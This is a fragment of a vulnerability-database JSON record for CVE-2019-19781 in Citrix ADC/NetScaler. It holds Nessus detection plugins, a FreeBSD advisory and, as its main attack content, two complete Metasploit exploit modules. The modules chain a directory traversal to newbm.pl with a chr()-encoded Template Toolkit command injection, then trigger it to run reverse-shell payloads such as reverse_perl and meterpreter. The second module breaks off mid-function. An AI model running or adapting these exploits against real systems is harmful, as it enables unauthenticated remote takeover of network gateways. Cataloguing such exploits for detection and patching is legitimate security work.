"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-13T00:00:00", "type": "exploitpack", "title": "Citrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution (Metasploit)", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "EXPLOITPACK:D0A0C692882848C218FDF1B93258E171", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Citrix ADC Remote Code Execution',\n 'Description' => %q(\n An issue was discovered in Citrix Application Delivery Controller (ADC)\n and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.\n ),\n 'Author' => [\n 'RAMELLA S\u00e9bastien' # https://www.pirates.re/\n ],\n 'References' => [\n ['CVE', '2019-19781'],\n ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],\n ['EDB', '47901'],\n ['EDB', '47902']\n ],\n 'DisclosureDate' => '2019-12-17',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix'],\n 'Arch' => ARCH_CMD,\n 'Privileged' => true,\n 'Payload' => {\n 'Compat' => {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic perl meterpreter'\n }\n },\n 'Targets' => [\n ['Unix (remote shell)',\n 'Type' => :cmd_shell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_perl',\n 'DisablePayloadHandler' => 'false'\n }\n ],\n ['Unix (command-line)',\n 'Type' => :cmd_generic,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/generic',\n 'DisablePayloadHandler' => 'true'\n }\n ],\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n ))\n\n register_options([\n OptAddress.new('RHOST', [true, 'The target address'])\n ])\n\n register_advanced_options([\n OptBool.new('ForceExploit', [false, 'Override check result', false])\n ])\n\n deregister_options('RHOSTS')\n end\n\n def execute_command(command, opts = {})\n filename = Rex::Text.rand_text_alpha(16)\n nonce = Rex::Text.rand_text_alpha(6)\n\n request = {\n 'method' => 'POST',\n 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),\n 'headers' => {\n 'NSC_USER' => '../../../netscaler/portal/templates/' + filename,\n 'NSC_NONCE' => nonce\n },\n 'vars_post' => {\n 'url' => 'http://127.0.0.1',\n 'title' => \"[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]\",\n 'desc' => 'desc',\n 'UI_inuse' => 'RfWeb'\n },\n 'encode_params' => false\n }\n\n begin\n received = send_request_cgi(request)\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\n print_error('Unable to connect on the remote target.')\n end\n return false unless received\n\n if received.code == 200\n vprint_status(\"#{received.get_html_document.text}\")\n sleep 2\n\n request = {\n 'method' => 'GET',\n 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),\n 'headers' => {\n 'NSC_USER' => nonce,\n 'NSC_NONCE' => nonce\n }\n }\n\n ## Trigger to gain exploitation.\n begin\n send_request_cgi(request)\n received = send_request_cgi(request)\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\n print_error('Unable to connect on the remote target.')\n end\n return false unless received\n return received\n end\n\n return false\n end\n\n def get_chr_payload(command)\n chr_payload = command\n i = chr_payload.length\n\n output = \"\"\n chr_payload.each_char do | c |\n i = i - 1\n output << \"chr(\" << c.ord.to_s << \")\"\n if i != 0\n output << \" . \"\n end\n end\n\n return output\n end\n\n def check\n begin\n received = send_request_cgi(\n \"method\" => \"GET\",\n \"uri\" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')\n )\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\n print_error('Unable to connect on the remote target.')\n end\n\n if received && received.code != 200\n return Exploit::CheckCode::Safe\n end\n return Exploit::CheckCode::Vulnerable\n end\n\n def exploit\n unless check.eql? Exploit::CheckCode::Vulnerable\n unless datastore['ForceExploit']\n fail_with(Failure::NotVulnerable, 'The target is not exploitable.')\n end\n else\n print_good('The target appears to be vulnerable.')\n end\n\n case target['Type']\n when :cmd_generic\n print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\n vprint_status(\"Generated command payload: #{payload.encoded}\")\n\n received = execute_command(payload.encoded)\n if (received) && (datastore['PAYLOAD'] == \"cmd/unix/generic\")\n print_warning('Dumping command output in parsed http response')\n print_good(\"#{received.get_html_document.text}\")\n else\n print_warning('Empty response, no command output')\n return\n end\n\n when :cmd_shell\n print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\n vprint_status(\"Generated command payload: #{payload.encoded}\")\n\n execute_command(payload.encoded)\n end\n end\n\nend", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-01-23T14:12:59", "description": "Art Manion and Will Dormann report :\n\nBy using an older and less-secure form of open(), it is possible for untrusted template files to cause reads/writes outside of the template directories. This vulnerability is a component of the recent Citrix exploit.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-15T00:00:00", "type": "nessus", "title": "FreeBSD : Template::Toolkit -- Directory traversal on write (2bab995f-36d4-11ea-9dad-002590acae31)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2023-01-19T00:00:00", "cpe": ["p-cpe:/a:freebsd:freebsd:p5-Template-Toolkit", "cpe:/o:freebsd:freebsd"], "id": "FREEBSD_PKG_2BAB995F36D411EA9DAD002590ACAE31.NASL", "href": "https://www.tenable.com/plugins/nessus/132879", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2021 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(132879);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/01/19\");\n\n script_cve_id(\"CVE-2019-19781\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n script_xref(name:\"CISA-NCAS\", value:\"AA22-011A\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2020-0129\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2020-0122\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2019-0742\");\n\n script_name(english:\"FreeBSD : Template::Toolkit -- Directory traversal on write (2bab995f-36d4-11ea-9dad-002590acae31)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote FreeBSD host is missing a security-related update.\");\n script_set_attribute(attribute:\"description\", value:\n\"Art Manion and Will Dormann report :\n\nBy using an older and less-secure form of open(), it is possible for\nuntrusted template files to cause reads/writes outside of the template\ndirectories. This vulnerability is a component of the recent Citrix\nexploit.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.kb.cert.org/vuls/id/619785/\");\n # https://vuxml.freebsd.org/freebsd/2bab995f-36d4-11ea-9dad-002590acae31.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?e74959bf\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-19781\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Citrix ADC (NetScaler) Directory Traversal RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/13\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/01/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/01/15\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:p5-Template-Toolkit\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"p5-Template-Toolkit<3.004\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-24T15:08:17", "description": "The remote Citrix ADC or Citrix NetScaler Gateway device is affected by an arbitrary code execution vulnerability.\nAn unauthenticated, remote attacker may be able to leverage this vulnerability to perform arbitrary code execution on an affected host.\n\nPlease refer to advisory CTX267027 for more information.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-24T00:00:00", "type": "nessus", "title": "Citrix ADC and Citrix NetScaler Gateway Arbitrary Code Execution (CTX267027)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2023-01-19T00:00:00", "cpe": ["cpe:/o:citrix:netscaler_access_gateway_firmware"], "id": "CITRIX_NETSCALER_CTX267027.NASL", "href": "https://www.tenable.com/plugins/nessus/132397", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(132397);\n script_version(\"1.17\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/01/19\");\n\n script_cve_id(\"CVE-2019-19781\");\n script_xref(name:\"IAVA\", value:\"2020-A-0001-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n script_xref(name:\"CISA-NCAS\", value:\"AA22-011A\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2020-0129\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2020-0122\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2019-0742\");\n\n script_name(english:\"Citrix ADC and Citrix NetScaler Gateway Arbitrary Code Execution (CTX267027)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is affected by an arbitrary code execution vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Citrix ADC or Citrix NetScaler Gateway device is affected by an arbitrary code execution vulnerability.\nAn unauthenticated, remote attacker may be able to leverage this vulnerability to perform arbitrary code execution on \nan affected host.\n\nPlease refer to advisory CTX267027 for more information.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.citrix.com/article/CTX267027\");\n script_set_attribute(attribute:\"solution\", value:\n\"For versions 10.5.x, 11.1.x, 12.0.x, 12.1.x and 13.0.x, upgrade to 10.5.70.12, 11.1.63.15, 12.0.63.13, 12.1.55.18 and \n13.0.47.24 respectively.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-19781\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Citrix ADC (NetScaler) Directory Traversal RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/17\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:citrix:netscaler_access_gateway_firmware\");\n script_set_attribute(attribute:\"stig_severity\", value:\"II\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"citrix_netscaler_detect.nbin\");\n script_require_keys(\"Host/NetScaler/Detected\");\n\n exit(0);\n}\ninclude('vcf_extras_netscaler.inc');\n\nvar app_info = vcf::citrix_netscaler::get_app_info();\n\nvar constraints = [\n {'min_version': '10.5', 'fixed_version': '10.5.70.12', 'fixed_display': '10.5-70.12'},\n {'min_version': '11.1', 'fixed_version': '11.1.63.15', 'fixed_display': '11.1-63.15'},\n {'min_version': '12.0', 'fixed_version': '12.0.63.13', 'fixed_display': '12.0-63.13'},\n {'min_version': '12.1', 'fixed_version': '12.1.55.18', 'fixed_display': '12.1-55.18'},\n {'min_version': '13.0', 'fixed_version': '13.0.47.24', 'fixed_display': '13.0-47.24'}\n];\n\nvcf::citrix_netscaler::check_version_and_report(\n app_info: app_info,\n constraints: constraints,\n severity:SECURITY_HOLE\n);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-17T14:23:05", "description": "The remote Citrix ADC or Citrix NetScaler Gateway device is affected by an arbitrary code execution vulnerability. An unauthenticated, remote attacker may be able to leverage this vulnerability to perform arbitrary code execution on an affected host.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-22T00:00:00", "type": "nessus", "title": "Citrix ADC and Citrix NetScaler Gateway Arbitrary Code Execution (CTX267027)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-22T00:00:00", "cpe": ["cpe:/o:citrix:netscaler_access_gateway_firmware"], "id": "701262.PRM", "href": "https://www.tenable.com/plugins/nnm/701262", "sourceData": "Binary data 701262.prm", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-09T15:01:38", "description": "The version of Citrix ADC or Citrix NetScaler Gateway SSL VPN running on the remote web server is affected by a path traversal vulnerability that can lead to remote code execution. An unauthenticated, remote attacker can exploit this issue, by sending a specially crafted HTTP request to perform a path traversal that can lead to acheiving remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "nessus", "title": "Citrix ADC and Citrix NetScaler Gateway Arbitrary Code Execution (CTX267027) (Direct Check)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2023-03-08T00:00:00", "cpe": ["cpe:/o:citrix:netscaler_access_gateway_firmware"], "id": "CITRIX_SSL_VPN_CVE-2019-19781.NBIN", "href": "https://www.tenable.com/plugins/nessus/132752", "sourceData": "Binary data citrix_ssl_vpn_CVE-2019-19781.nbin", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "freebsd": [{"lastseen": "2022-01-19T15:51:31", "description": "\n\nArt Manion and Will Dormann report:\n\n\n\t By using an older and less-secure form of open(), it is\n\t possible for untrusted template files to cause reads/writes\n\t outside of the template directories. This vulnerability is\n\t a component of the recent Citrix exploit.\n\t \n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-13T00:00:00", "type": "freebsd", "title": "Template::Toolkit -- Directory traversal on write", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2019-12-13T00:00:00", "id": "2BAB995F-36D4-11EA-9DAD-002590ACAE31", "href": "https://vuxml.freebsd.org/freebsd/2bab995f-36d4-11ea-9dad-002590acae31.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2020-01-14T23:23:57", "description": "", "cvss3": {}, "published": "2020-01-14T00:00:00", "type": "packetstorm", "title": "Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-14T00:00:00", "id": "PACKETSTORM:155947", "href": "https://packetstormsecurity.com/files/155947/Citrix-ADC-NetScaler-Directory-Traversal-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::CheckModule \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE', \n'Description' => %q{ \nThis module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka \nNetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload. \n}, \n'Author' => [ \n'Project Zero India', 'TrustedSec', # PoCs \n'mekhalleh (RAMELLA S\u00e9bastien)' # Module (https://www.pirates.re/) \n], \n'References' => [ \n['CVE', '2019-19781'], \n['EDB', '47901'], \n['EDB', '47902'], \n['URL', 'https://support.citrix.com/article/CTX267027/'], \n['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'] \n], \n'DisclosureDate' => '2019-12-17', \n'License' => MSF_LICENSE, \n'Platform' => ['python', 'unix'], \n'Arch' => [ARCH_PYTHON, ARCH_CMD], \n'Privileged' => false, \n'Targets' => [ \n['Python', \n'Platform' => 'python', \n'Arch' => ARCH_PYTHON, \n'Type' => :python, \n'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'} \n], \n['Unix Command', \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_command, \n'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal', \n'HttpClientTimeout' => 3.5 \n}, \n'Notes' => { \n'AKA' => ['Shitrix'], \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n)) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \n \nregister_advanced_options([ \nOptBool.new('ForceExploit', [false, 'Override check result', false]) \n]) \nend \n \ndef cmd_unix_generic? \ndatastore['PAYLOAD'] == 'cmd/unix/generic' \nend \n \ndef exploit \nunless datastore['ForceExploit'] \ncase check \nwhen CheckCode::Vulnerable \nprint_good('The target appears to be vulnerable') \nwhen CheckCode::Safe \nfail_with(Failure::NotVulnerable, 'The target does not appear to be vulnerable') \nelse \nfail_with(Failure::Unknown, 'The target vulnerability state is unknown') \nend \nend \n \nprint_status(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\") \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \ncase target['Type'] \nwhen :python \nexecute_command(%(/var/python/bin/python2 -c \"#{payload.encoded}\")) \nwhen :unix_command \nif (res = execute_command(payload.encoded)) && cmd_unix_generic? \nprint_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, '')) \nend \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nfilename = rand_text_alpha(8..42) \nnonce = rand_text_alpha(8..42) \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'), \n'headers' => { \n'NSC_USER' => \"../../../netscaler/portal/templates/#{filename}\", \n'NSC_NONCE' => nonce \n}, \n'vars_post' => { \n'url' => rand_text_alpha(8..42), \n'title' => \"[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]\" \n} \n) \n \nunless res && res.code == 200 \nprint_error('No response to POST newbm.pl request') \nreturn \nend \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, \"/vpn/../vpns/portal/#{filename}.xml\"), \n'headers' => { \n'NSC_USER' => rand_text_alpha(8..42), \n'NSC_NONCE' => nonce \n}, \n'partial' => true \n) \n \nunless res && res.code == 200 \nprint_warning(\"No response to GET #{filename}.xml request\") \nend \n \nregister_files_for_cleanup( \n\"/netscaler/portal/templates/#{filename}.xml\", \n\"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2\" \n) \n \nres \nend \n \ndef chr_payload(cmd) \ncmd.each_char.map { |c| 